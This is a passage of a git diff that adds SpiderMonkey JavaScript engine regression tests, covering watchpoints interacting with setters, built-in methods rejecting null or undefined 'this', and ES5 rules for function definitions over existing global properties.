+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* A stock watcher function. */
+var watcherCount;
+function watcher(id, oldval, newval) { watcherCount++; return newval; }
+
+/* Create an object with a JavaScript setter. */
+var setterCount;
+var o = { w:2, set x(v) { setterCount++; } };
+
+/*
+ * Put the object in dictionary mode, so that JSObject::putProperty will
+ * mutate its shapes instead of creating new ones.
+ */
+delete o.w;
+
+/*
+ * Place a watchpoint on the property. The watchpoint structure holds the
+ * original JavaScript setter, and a pointer to the shape.
+ */
+o.watch('x', watcher);
+
+/*
+ * Replace the accessor property with a value property. The shape's setter
+ * should become a non-JS setter, js_watch_set, and the watchpoint
+ * structure's saved setter should be updated (in this case, cleared).
+ */
+Object.defineProperty(o, 'x', { value:3,
+ writable:true,
+ enumerable:true,
+ configurable:true });
+
+/*
+ * Assign to the property. This should trigger js_watch_set, which should
+ * call the handler, and then see that there is no JS-level setter to pass
+ * control on to, and return.
+ */
+watcherCount = setterCount = 0;
+o.x = 3;
+assertEq(watcherCount, 1);
+assertEq(setterCount, 0);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/watch-setter-become-setter.js b/js/src/tests/ecma_5/extensions/watch-setter-become-setter.js
new file mode 100644
index 000000000..f5eff98b8
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watch-setter-become-setter.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Create an object with a JavaScript setter. */
+var firstSetterCount;
+var o = { w:2, set x(v) { firstSetterCount++; } };
+
+/*
+ * Put the object in dictionary mode, so that JSObject::putProperty will
+ * mutate its shapes instead of creating new ones.
+ */
+delete o.w;
+
+/* A stock watcher function. */
+var watcherCount;
+function watcher(id, oldval, newval) { watcherCount++; return newval; }
+
+/*
+ * Place a watchpoint on the property. The property's shape now has the
+ * watchpoint setter, with the original setter saved in the watchpoint
+ * structure.
+ */
+o.watch('x', watcher);
+
+/*
+ * Replace the setter with a new setter. The shape should get updated to
+ * refer to the new setter, and then the watchpoint setter should be
+ * re-established.
+ */
+var secondSetterCount;
+Object.defineProperty(o, 'x', { set: function () { secondSetterCount++ } });
+
+/*
+ * Assign to the property. This should trigger the watchpoint and the new setter.
+ */
+watcherCount = firstSetterCount = secondSetterCount = 0;
+o.x = 3;
+assertEq(watcherCount, 1);
+assertEq(firstSetterCount, 0);
+assertEq(secondSetterCount, 1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/watch-value-prop-becoming-setter.js b/js/src/tests/ecma_5/extensions/watch-value-prop-becoming-setter.js
new file mode 100644
index 000000000..03cdd788e
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watch-value-prop-becoming-setter.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* A stock watcher function. */
+var watcherCount;
+function watcher(id, old, newval) {
+ watcherCount++;
+ return newval;
+}
+
+/* Create an object with a value property. */
+var o = { w:2, x:3 };
+
+/*
+ * Place a watchpoint on the value property. The watchpoint structure holds
+ * the original JavaScript setter, and a pointer to the shape.
+ */
+o.watch('x', watcher);
+
+/*
+ * Put the object in dictionary mode, so that JSObject::putProperty will
+ * mutate its shapes instead of creating new ones.
+ */
+delete o.w;
+
+/*
+ * Replace the value property with a setter.
+ */
+var setterCount;
+o.__defineSetter__('x', function() { setterCount++; });
+
+/*
+ * Trigger the watchpoint. The watchpoint handler should run, and then the
+ * setter should run.
+ */
+watcherCount = setterCount = 0;
+o.x = 4;
+assertEq(watcherCount, 1);
+assertEq(setterCount, 1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/extensions/watchpoint-deletes-JSPropertyOp-setter.js b/js/src/tests/ecma_5/extensions/watchpoint-deletes-JSPropertyOp-setter.js
new file mode 100644
index 000000000..85410bbd4
--- /dev/null
+++ b/js/src/tests/ecma_5/extensions/watchpoint-deletes-JSPropertyOp-setter.js
@@ -0,0 +1,56 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function make_watcher(name) {
+ return function (id, oldv, newv) {
+ print("watched " + name + "[0]");
+ };
+}
+
+var o, p;
+function f(flag) {
+ if (flag) {
+ o = arguments;
+ } else {
+ p = arguments;
+ o.watch(0, make_watcher('o'));
+ p.watch(0, make_watcher('p'));
+
+ /*
+ * Previously, the watchpoint implementation actually substituted its magic setter
+ * functions for the setters of shared shapes, and then 1) carefully ignored calls
+ * to its magic setter from unrelated objects, and 2) avoided restoring the
+ * original setter until all watchpoints on that shape had been removed.
+ *
+ * However, when the watchpoint code began using JSObject::changeProperty and
+ * js_ChangeNativePropertyAttrs to change shapes' setters, the shape tree code
+ * became conscious of the presence of watchpoints, and shared shapes between
+ * objects only when their watchpoint nature coincided. Clearing the magic setter
+ * from one object's shape would not affect other objects, because the
+ * watchpointed and non-watchpointed shapes were distinct if they were shared.
+ *
+ * Thus, the first unwatch call must go ahead and fix p's shape, even though a
+ * watchpoint exists on the same shape in o. o's watchpoint's presence shouldn't
+ * cause 'unwatch' to leave p's magic setter in place.
+ */
+
+ /* DropWatchPointAndUnlock would see o's watchpoint, and not change p's property. */
+ p.unwatch(0);
+
+ /* DropWatchPointAndUnlock would fix o's property, but not p's; p's setter would be gone. */
+ o.unwatch(0);
+
+ /* This would fail to invoke the arguments object's setter. */
+ p[0] = 4;
+
+ /* And the formal parameter would not get updated. */
+ assertEq(flag, 4);
+ }
+}
+
+f(true);
+f(false);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/browser.js b/js/src/tests/ecma_5/misc/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/browser.js
diff --git a/js/src/tests/ecma_5/misc/bug1126318.js b/js/src/tests/ecma_5/misc/bug1126318.js
new file mode 100644
index 000000000..73ccdc07a
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/bug1126318.js
@@ -0,0 +1,13 @@
+if (typeof window === "undefined")
+ window = this;
+
+Object.defineProperty(window, "foo", {
+ get: function() { return 5; },
+ configurable: true
+});
+
+for (var i = 0; i < 100; ++i)
+ assertEq(window.foo, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_5/misc/builtin-methods-reject-null-undefined-this.js b/js/src/tests/ecma_5/misc/builtin-methods-reject-null-undefined-this.js
new file mode 100644
index 000000000..a2275c1b8
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/builtin-methods-reject-null-undefined-this.js
@@ -0,0 +1,153 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 619283;
+var summary =
+ "ECMAScript built-in methods that immediately throw when |this| is " +
+ "|undefined| or |null| (due to CheckObjectCoercible, ToObject, or ToString)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// We can't just exhaustively loop over everything because 1) method properties
+// might be extensions with special |this| handling, and 2) some methods don't
+// *quite* immediately throw a TypeError, first thing, if |this| is |undefined|
+// or |null|, or their algorithms are very slightly ambiguous about whether they
+// do. Why? Ipse-dixitism. *shrug*
+
+var ClassToMethodMap =
+ {
+ Object: [/* "toString" has special |this| handling */
+ "toLocaleString", "valueOf", "hasOwnProperty",
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * ecma_5/Object/isPrototypeOf.js.
+ */
+ /*
+ * "isPrototypeOf" has special |this| handling already tested in
+ * ecma_5/Object/propertyIsEnumerable.js.
+ */],
+ // Function methods often don't ToObject(this) as their very first step,
+ // and they're already stepwise well-tested such that manual tests here
+ // would be redundant.
+ Array: ["toString", "toLocaleString", "concat", "join", "pop", "push",
+ "reverse", "shift", "slice", "sort", "splice", "unshift",
+ "indexOf", "lastIndexOf", "every", "some", "forEach", "map",
+ "filter", "reduce", "reduceRight"],
+ String: ["toString", "valueOf", "charAt", "charCodeAt", "concat",
+ "indexOf", "lastIndexOf", "localeCompare", "match", "replace",
+ "search", "slice", "split", "substring", "toLowerCase",
+ "toLocaleLowerCase", "toUpperCase", "toLocaleUpperCase", "trim",
+ /*
+ * "trimLeft" and "trimRight" are non-standard and thus are tested
+ * in ecma_5/extensions/trim-extensions.js.
+ */
+ ],
+ Boolean: ["toString", "valueOf"],
+ Number: ["toString", "toLocaleString", "valueOf",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the ToInteger(void 0) which arguably
+ * precedes it in the toFixed algorithm won't throw in this test,
+ * we don't need to specially test it.
+ */
+ "toFixed",
+ "toExponential", "toPrecision"],
+ Date: ["toDateString", "toTimeString", "toLocaleString",
+ "toLocaleDateString", "toLocaleTimeString", "valueOf", "getTime",
+ "getFullYear", "getUTCFullYear", "getMonth", "getUTCMonth",
+ "getDate", "getUTCDate", "getDay", "getUTCDay", "getHours",
+ "getUTCHours", "getMinutes", "getUTCMinutes", "getSeconds",
+ "getUTCSeconds", "getMilliseconds", "getUTCMilliseconds",
+ /*
+ * toFixed doesn't *immediately* test |this| for number or
+ * Number-ness, but because the TimeClip(ToNumber(void 0)) which
+ * arguably precedes it in the setTime algorithm won't throw in
+ * this test, we don't need to specially test it.
+ */
+ "setTime",
+ "getTimezoneOffset", "setMilliseconds", "setUTCMilliseconds",
+ "setSeconds", "setUTCSeconds", "setMinutes", "setUTCMinutes",
+ "setHours", "setUTCHours", "setDate", "setUTCDate", "setMonth",
+ "setUTCMonth", "setFullYear", "setUTCFullYear", "toUTCString",
+ "toISOString", "toJSON"],
+ RegExp: ["exec", "test", "toString"],
+ Error: ["toString"],
+ };
+
+var badThisValues = [null, undefined];
+
+function testMethod(Class, className, method)
+{
+ var expr;
+
+ // Try out explicit this values
+ for (var i = 0, sz = badThisValues.length; i < sz; i++)
+ {
+ var badThis = badThisValues[i];
+
+ expr = className + ".prototype." + method + ".call(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].call(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+
+ expr = className + ".prototype." + method + ".apply(" + badThis + ")";
+ try
+ {
+ Class.prototype[method].apply(badThis);
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+ }
+
+ // ..and for good measure..
+
+ expr = "(0, " + className + ".prototype." + method + ")()"
+ try
+ {
+ // comma operator to call GetValue() on the method and de-Reference it
+ (0, Class.prototype[method])();
+ throw new Error(expr + " didn't throw a TypeError");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "wrong error for " + expr + ", instead threw " + e);
+ }
+}
+
+for (var className in ClassToMethodMap)
+{
+ var Class = this[className];
+
+ var methodNames = ClassToMethodMap[className];
+ for (var i = 0, sz = methodNames.length; i < sz; i++)
+ {
+ var method = methodNames[i];
+ testMethod(Class, className, method);
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/enumerate-undefined.js b/js/src/tests/ecma_5/misc/enumerate-undefined.js
new file mode 100644
index 000000000..17bc1c4c8
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/enumerate-undefined.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 547087;
+var summary = 'JS_EnumerateStandardClasses uses wrong attributes for undefined';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var p in this);
+
+assertEq(Object.getOwnPropertyDescriptor(this, "undefined").writable, false);
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/error-undefined-message.js b/js/src/tests/ecma_5/misc/error-undefined-message.js
new file mode 100644
index 000000000..8a9202b8f
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/error-undefined-message.js
@@ -0,0 +1,7 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+assertEq(new Error().hasOwnProperty('message'), false);
+assertEq(new Error(undefined).hasOwnProperty('message'), false);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_5/misc/explicit-undefined-optional-argument.js b/js/src/tests/ecma_5/misc/explicit-undefined-optional-argument.js
new file mode 100644
index 000000000..f861ccfdb
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/explicit-undefined-optional-argument.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var BUGNUMBER = 373118;
+var summary =
+ 'Properly handle explicitly-undefined optional arguments to a bunch of ' +
+ 'functions';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+var a;
+
+a = "abc".slice(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substr(0, undefined);
+assertEq(a, "abc");
+
+a = "abc".substring(0, undefined);
+assertEq(a, "abc");
+
+a = [1, 2, 3].slice(0, undefined);
+assertEq(a.join(), '1,2,3');
+
+a = [1, 2, 3].sort(undefined);
+assertEq(a.join(), '1,2,3');
+
+assertEq((20).toString(undefined), '20');
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/misc/function-definition-eval.js b/js/src/tests/ecma_5/misc/function-definition-eval.js
new file mode 100644
index 000000000..27feae1a6
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/function-definition-eval.js
@@ -0,0 +1,348 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+var isInShell = !("Window" in this);
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+eval("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable properties produce a TypeError. We only test this in shell,
+// since defining non-configurable properties on Window instances throws.
+if (isInShell) {
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+
+
+ getCalled = false, setCalled = false;
+ Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+ }
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+eval("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+eval("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+eval("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+eval("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, true);
+
+
+// non-configurable data properties are trickier. Again, we test these only in shell.
+
+if (isInShell) {
+ Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+ outer = undefined;
+ eval("function data5() { return 'data5 function'; } outer = data5;");
+ assertEq(typeof data5, "function");
+ assertEq(data5, outer);
+ desc = Object.getOwnPropertyDescriptor(this, "data5");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, data5);
+
+
+ Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable, non-writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data6, "data6");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data6");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data6");
+ }
+
+
+ Object.defineProperty(this, "data7",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: true,
+ value: "data7"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data7() { return 'data7 function'; } outer = data7;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, writable data property, must " +
+ "throw a TypeError per ES5+errata: " + e);
+ assertEq(data7, "data7");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data7");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, true);
+ assertEq(desc.value, "data7");
+ }
+
+
+ Object.defineProperty(this, "data8",
+ {
+ configurable: false,
+ enumerable: false,
+ writable: false,
+ value: "data8"
+ });
+
+ outer = undefined;
+ try
+ {
+ eval("function data8() { return 'data8 function'; } outer = data8;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable, non-writable data" +
+ "property");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable, non-writable data property, " +
+ "must throw a TypeError per ES5+errata: " + e);
+ assertEq(data8, "data8");
+ assertEq(outer, undefined);
+ desc = Object.getOwnPropertyDescriptor(this, "data8");
+ assertEq(desc.configurable, false);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.writable, false);
+ assertEq(desc.value, "data8");
+ }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/misc/function-definition-evaluate.js b/js/src/tests/ecma_5/misc/function-definition-evaluate.js
new file mode 100644
index 000000000..4ed156b2a
--- /dev/null
+++ b/js/src/tests/ecma_5/misc/function-definition-evaluate.js
@@ -0,0 +1,344 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 577325;
+var summary = 'Implement the ES5 algorithm for processing function statements';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var outer, desc;
+
+///////////////////////////////////////////////////
+// Function definitions over accessor properties //
+///////////////////////////////////////////////////
+
+var getCalled, setCalled;
+
+// configurable properties get blown away
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc1",
+ {
+ get: function() { getCalled = true; throw "FAIL get 1"; },
+ set: function(v) { setCalled = true; throw "FAIL set 1 " + v; },
+ configurable: true,
+ enumerable: false
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc1() { throw 'FAIL redefined 1'; } outer = acc1;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc1, "function");
+assertEq(acc1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc1");
+assertEq(desc.value, acc1);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc2",
+ {
+ get: function() { getCalled = true; throw "FAIL get 2"; },
+ set: function(v) { setCalled = true; throw "FAIL set 2 " + v; },
+ configurable: true,
+ enumerable: true
+ });
+
+// does not throw
+outer = undefined;
+evaluate("function acc2() { throw 'FAIL redefined 2'; } outer = acc2;");
+assertEq(getCalled, false);
+assertEq(setCalled, false);
+assertEq(typeof acc2, "function");
+assertEq(acc2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "acc2");
+assertEq(desc.value, acc2);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable properties produce a TypeError
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc3",
+ {
+ get: function() { getCalled = true; throw "FAIL get 3"; },
+ set: function(v) { setCalled = true; throw "FAIL set 3 " + v; },
+ configurable: false,
+ enumerable: true
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc3() { throw 'FAIL redefined 3'; }; outer = acc3");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, enumerable accessor, must throw a TypeError " +
+ "per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc3");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+getCalled = false, setCalled = false;
+Object.defineProperty(this, "acc4",
+ {
+ get: function() { getCalled = true; throw "FAIL get 4"; },
+ set: function(v) { setCalled = true; throw "FAIL set 4 " + v; },
+ configurable: false,
+ enumerable: false
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function acc4() { throw 'FAIL redefined 4'; }; outer = acc4");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, non-enumerable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
+ "a non-configurable, non-enumerable accessor, must throw a " +
+ "TypeError per ES5+errata: " + e);
+ desc = Object.getOwnPropertyDescriptor(this, "acc4");
+ assertEq(typeof desc.get, "function");
+ assertEq(typeof desc.set, "function");
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, false);
+ assertEq(outer, undefined);
+ assertEq(getCalled, false);
+ assertEq(setCalled, false);
+}
+
+
+///////////////////////////////////////////////
+// Function definitions over data properties //
+///////////////////////////////////////////////
+
+
+// configurable properties, regardless of other attributes, get blown away
+
+Object.defineProperty(this, "data1",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: true,
+ value: "data1"
+ });
+
+outer = undefined;
+evaluate("function data1() { return 'data1 function'; } outer = data1;");
+assertEq(typeof data1, "function");
+assertEq(data1, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data1");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data1);
+
+
+Object.defineProperty(this, "data2",
+ {
+ configurable: true,
+ enumerable: true,
+ writable: false,
+ value: "data2"
+ });
+
+outer = undefined;
+evaluate("function data2() { return 'data2 function'; } outer = data2;");
+assertEq(typeof data2, "function");
+assertEq(data2, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data2");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data2);
+
+
+Object.defineProperty(this, "data3",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: true,
+ value: "data3"
+ });
+
+outer = undefined;
+evaluate("function data3() { return 'data3 function'; } outer = data3;");
+assertEq(typeof data3, "function");
+assertEq(data3, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data3");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data3);
+
+
+Object.defineProperty(this, "data4",
+ {
+ configurable: true,
+ enumerable: false,
+ writable: false,
+ value: "data4"
+ });
+
+outer = undefined;
+evaluate("function data4() { return 'data4 function'; } outer = data4;");
+assertEq(typeof data4, "function");
+assertEq(data4, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data4");
+assertEq(desc.value, data4);
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.configurable, false);
+
+
+// non-configurable data properties are trickier
+
+Object.defineProperty(this, "data5",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: true,
+ value: "data5"
+ });
+
+outer = undefined;
+evaluate("function data5() { return 'data5 function'; } outer = data5;");
+assertEq(typeof data5, "function");
+assertEq(data5, outer);
+desc = Object.getOwnPropertyDescriptor(this, "data5");
+assertEq(desc.configurable, false);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, data5);
+
+
+Object.defineProperty(this, "data6",
+ {
+ configurable: false,
+ enumerable: true,
+ writable: false,
+ value: "data6"
+ });
+
+outer = undefined;
+try
+{
+ evaluate("function data6() { return 'data6 function'; } outer = data6;");
+ throw new Error("should have thrown trying to redefine global function " +
+ "over a non-configurable, enumerable, non-writable accessor");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "global function definition, when that function would overwrite " +
